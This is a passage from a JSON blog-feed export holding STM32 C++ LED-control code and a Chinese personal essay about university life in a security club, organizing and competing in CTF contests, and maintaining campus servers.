class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eprevValue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eindexedVec\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esubCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esortedIndices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esubArray\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"定时执行执行状态对应的任务\"\u003e定时执行(执行状态对应的任务)\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PeriodElapsedCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 执行Crt_Main_Task对应的任务,这个其实可以再拆一个 类 出来,但是没有更多功能要写,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 先扔这里了。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrt_Main_Task\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 延时开启下一组led的呼吸任务\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelay_20\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexceed\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Cnt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eindex\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eBlink_Leds\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003esetTask\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtLedIndex\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 执行所有的led的任务\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexecTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 隔一段时间输出一下led的状态\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelay_30\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexceed\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eledarray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://canxin121.github.io/p/led%E7%81%AF%E6%8E%A7%E5%88%B6usart/"},{"title":"链接","time":"0001-01-01T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://canxin121.github.io/%E9%93%BE%E6%8E%A5/"},{"title":"搜索","time":"0001-01-01T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://canxin121.github.io/search/"}]},{"name":"Frank","email":"","uri":"https://blog.frankli.site/","description":"","article":[{"title":"关于大学","time":"2022-07-02T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e大学四年,做了些事。\u003c/p\u003e\u003ch2 id=\"认识了XDSEC里的众大佬\"\u003e认识了XDSEC里的众大佬\u003c/h2\u003e\u003cp\u003e记得在高中毕业后,俺作为学校六页高考排名中的最后一页上的人,上西电都是感觉稍有些悬。俺在西电的招生外场碰到了张宁老师,知道了西电的网络与信息安全学院,还云里雾里地参加了张老师带着16、17级学长办的第一届mssctf。当时作为一个垃圾算法选手,一道安全的题都没做出来,但是凭着垃圾算法基础还混了5k块钱。在赛后的宣讲会上pupile师傅将俺拉进了XDSEC招新群,在moeCTF上现学现卖,入门网络安全相关的知识,过程中还碰到了大学中认识的第一个同学konge,和他在moe榜单上,还在线下见了家长(什么东西),最终成为了舍友(但似乎我并没有怎么回宿舍)。于是俺的大学便以XDSEC为线索展开了。\u003c/p\u003e\u003cp\u003e大一的时候俺就成天呆社团活动室(就说是实验室吧),甚至被导员给家长打了电话(但是后面导员似乎也放弃管我了2333),于是认识了睡在桌子底下的带带带能猫,认识了在mac上打300英雄的f1sh,认识了佛山富少w1nd,flight,去师傅… 成为了实验室守夜人之一(其实实验室离教室近【狡辩】)。\u003c/p\u003e\u003cp\u003e张老师带实验班,俺大一在垫底的软件工程,于是俺大二就靠实验班转了个专业。得益于我特殊的搜索技巧(至今自己都觉得离谱),俺在实验班机试里超了第二名一倍的分(呜呜呜对不起我真的忘了第二名是谁了对不起对不起),但是代价是俺的高数是补考过的。社团里18级的几个一直活跃着的同学最终基本都进了实验班。\u003c/p\u003e\u003cp\u003e大二期间,由于和学长们混得比较熟,又吃了些高中时期的技术的底子,成了XDSEC的2020年背锅人。俺作为一个自闭人,在到2021年四月的这一年时间里,硬是磕磕碰碰地向一些不认识的领导做了些报告,组织着社团的同学们做了些奇奇怪怪的事情(比如吃饭)。很多事情都是第一次做,有很多遗憾和尴尬,但是整体。。还行?感觉社团还的大方向没有太偏离就是最大的成功了,我觉得我选了逆向手Rx来接手XDSEC还是挺不错的一个选择(\u003c/p\u003e\u003ch2 id=\"维护了几个学生组织的几个服务器\"\u003e维护了几个学生组织的几个服务器\u003c/h2\u003e\u003cp\u003e大学期间,俺们社团随张老师办了三届的mssctf。每届mssctf俺们都搞了些新玩意玩。第二届俺们给CTFd写了个简陋的judge用来判算法题;第三届由于是线上赛,俺们给web题上了动态容器和腾讯的日志分析,可以看选手打的payload;第四届俺在新拿到的423活动室里拖着几个学弟用scapy写了些重组pcap中的tcp会话用的脚本,用来审计选手打pwn题的payload,顺便帮他们预习了下寄网,线下俺们又搞了一套能和CTFd配合运行的有时间限制的vnc+浏览器,让选手能在受控的网络环境下上网,让我们能盯着他们不要互相py,虽然由于网络设备不稳定运行得非常磕磕绊绊,但系统自身确实没出什么问题,很让人意外(\u003c/p\u003e\u003cp\u003e大三下,我突然来了些奇怪的兴致,维护了一段时间的开源社区的镜像和睿思的论坛,碰到了些奇奇怪怪的坑,写了些奇奇怪怪的代码。\u003c/p\u003e\u003cp\u003e俺给开源社区的机子换了个俺自己写的同步脚本,修了下git服务,在mirrorz群里潜水,后来又试图复苏开源\u003cem\u003e社区\u003c/em\u003e,找人接手,后来高算中心的老师找到我说他们本来希望做个镜像站,发现开源社区已经做过了,遂在毕业之际将镜像站迁移到了高算中心的机房。顺便,我和网管会的学弟联了系,希望他们能恢复组织起社区真正的活动。\u003c/p\u003e\u003cp\u003e睿思的服务器也年久失修。19级的学弟刚接手便碰到了行政上的坑(毕竟是pt站…),需要将论坛和pt站分离开来。俺帮着迁移了下数据库,踩了踩mariadb自增int的坑,搭了搭新的pt站,也算是做了点微小的工作。\u003c/p\u003e\u003ch2 id=\"参加了若干CTF比赛\"\u003e参加了若干CTF比赛\u003c/h2\u003e\u003cp\u003e19年以前,俺和社团的众大佬一起玩一些线上的比赛,什么虎符啊,网鼎啊,XCTF啊,还有去了个究极尬的还要拍死亡黑照吊在学校大广告牌上示众的360WCTF,结果只能说是,比清华高(指倒数第三)。19年以来,疫情反复。然而我们还是有一些机会去一些线下赛。\u003c/p\u003e\u003cp\u003e印象深刻的比赛有:\u003c/p\u003e\u003ch3 id=\"wctf\"\u003ewctf\u003c/h3\u003e\u003cp\u003e应该是疫情前俺参与的唯一一场线下赛,场面宏大,宾馆豪华,还帮张老师给360的学长送了个小徽章,还和国外战队亲切交流(真的,在恰饭的时候和eat sleep pwn repeat的几个欧洲人【字面义】讨论他们的队伍名该怎么翻译成中文),非常的有意思。\u003c/p\u003e\u003ch3 id=\"某次acm区域赛\"\u003e某次acm区域赛\u003c/h3\u003e\u003cp\u003e当时和几个学长组了个队,打了或许是人生中的最后一场acm,毫不意外地打了铁。去比赛的路上因为买错了票,坐了12个小时的硬卧。\u003c/p\u003e\u003ch3 id=\"国赛\"\u003e国赛\u003c/h3\u003e\u003cp\u003e讲个笑话,ylb办awd\u003c/p\u003e\u003ch3 id=\"bytectf\"\u003ebytectf\u003c/h3\u003e\u003cp\u003e被鱼师傅的\u003ca href=\"https://github.com/frank-dockerfiles/wallbreaker2020-reproduction\"\u003ewallbreaker\u003c/a\u003e按在地上打,在赛场上死活翻代码翻不出来什么所以然,还不敢上互联网。。。\u003c/p\u003e\u003ch3 id=\"xctf-final\"\u003exctf final\u003c/h3\u003e\u003cp\u003e和学弟和happy去打,题目出人意料地都不难,平台虚拟化没做好可以逃逸(这现在可以说了吧。。。),报给了主办方。后来听说两个队因为逃了逸但是没上报导致成绩取消。\u003cbr/\u003e结束以后和诸葛老师合了影,可是找不到了呜呜呜呜呜\u003c/p\u003e\u003ch2 id=\"写了些东西\"\u003e写了些东西\u003c/h2\u003e\u003ch3 